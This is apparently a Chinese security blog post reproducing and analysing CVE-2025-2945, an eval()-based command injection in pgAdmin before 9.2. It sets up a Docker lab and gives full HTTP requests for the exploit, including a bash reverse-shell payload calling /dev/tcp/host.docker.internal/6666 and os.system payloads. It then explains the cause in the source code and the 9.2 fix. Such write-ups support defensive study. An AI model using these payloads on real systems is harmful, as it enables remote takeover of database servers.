大数跨境
0
0

CVE-2025-2945 pgAdmin <9.2 后台命令执行漏洞

CVE-2025-2945 pgAdmin <9.2 后台命令执行漏洞 蚁景网络安全
2025-12-15
2

 


环境搭建

可以从 docker hub 上搜索 docker 资源 https://hub.docker.com/search?q=pgadmin4

docker network create pg-network # 创建容器网络

docker run -d --name postgres --network pg-network -e POSTGRES_USER=postgres -e POSTGRES_PASSWORD=postgres123 -e POSTGRES_DB=testdb -p 5432:5432 postgres:15


docker run -d --name pgadmin --network pg-network  -e 'PGADMIN_DEFAULT_EMAIL=test@example.com' -e 'PGADMIN_DEFAULT_PASSWORD=123456'  -p 5050:80   docker.io/dpage/pgadmin4:9.1.0


docker network inspect pg-network  # 查看哪些容器在使用这个网络
docker network rm pg-network       # 删除指定网络
image

image

漏洞复现

/sqleditor/query_tool/download/

前提:登录 pgAdmin 获取有效 session 和 CSRF Token

  1. 1. 调用接口 /misc/workspace/adhoc_connect_server 功能:临时连接到 PostgreSQL 数据库服务器 返回:sid(服务器 ID)和 did(数据库 ID)
  2. 2. 调用接口 /misc/workspace/adhoc_connect_server 功能:初始化一个 SQL 编辑器会话,创建事务 参数:
    • • trans_id:事务 ID,随机数(后续请求需使用同一个值)
    • • sgid:服务器组 ID,通常是 1
    • • sid:服务器 ID(步骤 1 获取)
    • • did:数据库 ID(步骤 1 获取)
  3. 3. 调用接口 /sqleditor/query_tool/download/{trans_id} 功能:导出 SQL 查询结果为 CSV 文件下载 漏洞:query_commited 参数被 eval() 执行,导致 RCE

步骤 1:连接数据库服务器

image
POST /misc/workspace/adhoc_connect_server HTTP/1.1
Host: 127.0.0.1:5050
Content-Length: 348
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/json
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close

{"sid":null,"did":"testdb","user":"postgres","server_name":"postgres","host":"postgres","port":"5432","username":"test","role":null,"password":"postgres123","connection_params":[{"name":"sslmode","value":"prefer","keyword":"sslmode","cid":"c19"},{"name":"connect_timeout","value":10,"keyword":"connect_timeout","cid":"c20"}],"connection_refresh":0}
image

返回: sid(服务器 ID)和 did(数据库 ID)

步骤 2:初始化 SQL 编辑器

POST /sqleditor/initialize/sqleditor/1234567/1/1/16384 HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 102

{
    "user": "postgres",
    "password": "postgres123",
    "role": "",
    "dbname": "testdb"
}
image

步骤 3:触发漏洞

POST /sqleditor/query_tool/download/1234567 HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 67

{"query":"SELECT 1;","query_commited":"open('/tmp/20251208', 'w')"}
image

image

实现 反弹 shell

POST /sqleditor/query_tool/download/1234567 HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjA2ODY5NjE5NzVkMTY1MWQ5ZTlhNWQxODIyNjhlYTAzNmNhODc3YTMi.aTZ_cg.a70W06ReUbjUJvUnI39jLsg0Nzg
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 130

{"query":"SELECT 1;","query_commited":"__import__('os').system('bash -c \"bash -i >& /dev/tcp/host.docker.internal/6666 0>&1\"')"}
7

/cloud/deploy

这个接口需要用到 pgAdmin 已配置 Google Cloud 认证 为了方便进行验证,我们可以注释掉相关代码然后进行复现,首先是概念性验证,直接通过命令行方式进行验证

docker exec -it -u root pgadmin "/bin/bash"
# 通过 root 权限进入容器内部,因为需要对文件进行注释操作
FILE="/pgadmin4/pgacloud/providers/google.py"
sed -i 's/credentials = self._get_credentials/#&/' $FILE
sed -i 's/service = discovery.build/#&/' $FILE
sed -i 's/credentials=credentials)/#&/' /pgadmin4/pgacloud/providers/google.py
# 注释掉获取凭证和建立连接的操作

sed -n '135,140p' /pgadmin4/pgacloud/providers/google.py

 /venv/bin/python /pgadmin4/pgacloud/pgacloud.py google create-instance \
  --project test \
  --name test \
  --instance-type db-f1-micro \
  --storage-size 10 \
  --high-availability "__import__('os').system('id > /tmp/google_pwned.txt')"
image

可以看到成功执行命令

希望从 web 层面更清晰的看到命令执行的效果,还需要对两行代码进行注释,注释后再重启 docker 容器

FILE="/pgadmin4/pgadmin/misc/cloud/google/__init__.py"
sed -i 's/google_obj = pickle.loads/#&/' $FILE
sed -i "s/env\['GOOGLE_CREDENTIALS'\] = /#&/" $FILE
docker restart pgadmin

这里先简单解释一下为什么要注释这一部分: Web 接口需要 session 中有 Google 认证信息,必须先在 pgAdmin 界面完成 Google OAuth 登录

image
image
image

POST /cloud/deploy HTTP/1.1
Host: 127.0.0.1:5050
X-pgA-CSRFToken: IjJmMDYxMDJkZDVhNmQyMzRjNzhhNzYxOWJjMzU5NmJmYzIxZWQ0ZjQi.aTegGw.d2HRuq3wKWyIInqs4P9WiDo32go
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Origin: http://127.0.0.1:5050
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://127.0.0.1:5050/browser/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PGADMIN_LANGUAGE=en; pga4_session=ce7a619e-5aa3-4c78-9dad-e3744e1c6af4!CFOhD8rKC2GQ9mSiSajM5fD5oMOctcXHOhVWFzVWH7s=
Connection: close
Content-Type: application/json
Content-Length: 648

{
  "cloud": "google",
  "secret": {
    "gid": "1",
    "oid": null,
    "client_secret_file": "/tmp/test.json"
  },
  "instance_details": {
    "name": "test-instance",
    "project": "test-project",
    "region": "us-central1",
    "db_version": "POSTGRES_14",
    "instance_type": "db-f1-micro",
    "storage_type": "PD_SSD",
    "storage_size": 10,
    "public_ips": "0.0.0.0/0",
    "availability_zone": "us-central1-a",
    "secondary_availability_zone": "us-central1-b",
    "high_availability": "__import__('os').system('id > /tmp/pwned.txt')"
  },
  "db_details": {
    "gid": 1,
    "db_password": "test123"
  }
}
image

漏洞分析

我们可以从 https://pgadmin-archive.postgresql.org/pgadmin4/v9.1/source/index.html 下载源代码进行审计分析

/sqleditor/query_tool/download/

web/pgadmin/misc/workspaces_init_.py#adhoc_connect_server

image

  • • 验证连接参数
  • • 查找或创建服务器记录
  • • 建立到 PostgreSQL 的实际连接
  • • 返回 sid(服务器ID)和 did(数据库ID)

web/pgadmin/tools/sqleditor_init_.py

image

image

  • • 创建 QueryToolCommand 对象
  • • 建立数据库连接
  • •  将命令对象序列化后存入 session['gridData'][trans_id]★★★ 关键:将命令对象存入 session ★★★步骤3的  check_transaction_status() 函数会检查 session['gridData'] 中是否存在对应的 trans_id
    如果不存在,会返回 ERROR_MSG_TRANS_ID_NOT_FOUND 错误,无法继续执行
  • • 返回连接 ID 和服务器版本

web/pgadmin/tools/sqleditor_init_.py#start_query_download_tool

image

/cloud/deploy

web/pgadmin/misc/cloud_init_.py#deploy_on_cloud

image

/misc/cloud/__init__.py     → 路由入口 /cloud/deploy  接收用户的云部署请求,根据 cloud 字段分发到对应的部署函数。

web/pgadmin/misc/cloud/google_init_.py#deploy_on_google

image

/misc/cloud/google.py       → deploy_on_google() 函数

  1. 1. 构建命令行参数(用户输入的 high_availability 被直接放入参数)
  2. 2. 创建 BatchProcess 后台进程
  3. 3. 启动子进程执行 pgacloud.py

web/pgacloud/pgacloud.py

image

image

pgacloud.py 会动态加载 providers/ 目录下的所有 provider 模块,然后解析命令行参数,最后根据 provider 和 command 调用对应的函数

命令  pgacloud.py google create-instance  --high-availability "恶意代码"

  • • load_providers() → 加载 providers/google.py,调用 load() 返回 GoogleProvider 实例
  • • get_args() → 解析参数,args.provider='google'args.command='create-instance'args.high_availability='恶意代码'
  • • execute_command() → 调用 GoogleProvider.commands()['create_instance'](args)
    image

web/pgacloud/providers/google.py

image

image

cmd_create_instance() 内部调用 _create_google_postgresql_instance() 最后触发了漏洞

image

漏洞修复

接口 /sqleditor/query_tool/download/ 修复方案

9.1 版本代码中使用eval()函数来处理用户输入的query_commited参数,eval()会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval()函数,改用安全的字符串比较方式来判断参数值。首先检测参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true''1'。如果参数是布尔型则直接使用该值。

image

接口 /cloud/deploy 修复方案

9.1 版本代码中使用eval()函数来处理用户输入的high_availability参数,eval()会把传入的字符串当作 python 代码来执行。9.2 版本代码中则是移除了eval()函数,改用安全的字符串比较方式来判断参数值。首先检查参数是否为字符串类型,如果是字符串,就转换为小写,并判断是否等于'true''1'。如果参数是布尔型则直接使用该值。

image

 

【声明】内容源于网络
0
0
蚁景网络安全
致力于为你带来更实用的网络安全技术内容!
内容 1761
粉丝 0
蚁景网络安全 致力于为你带来更实用的网络安全技术内容!
总阅读96
粉丝0
内容1.8k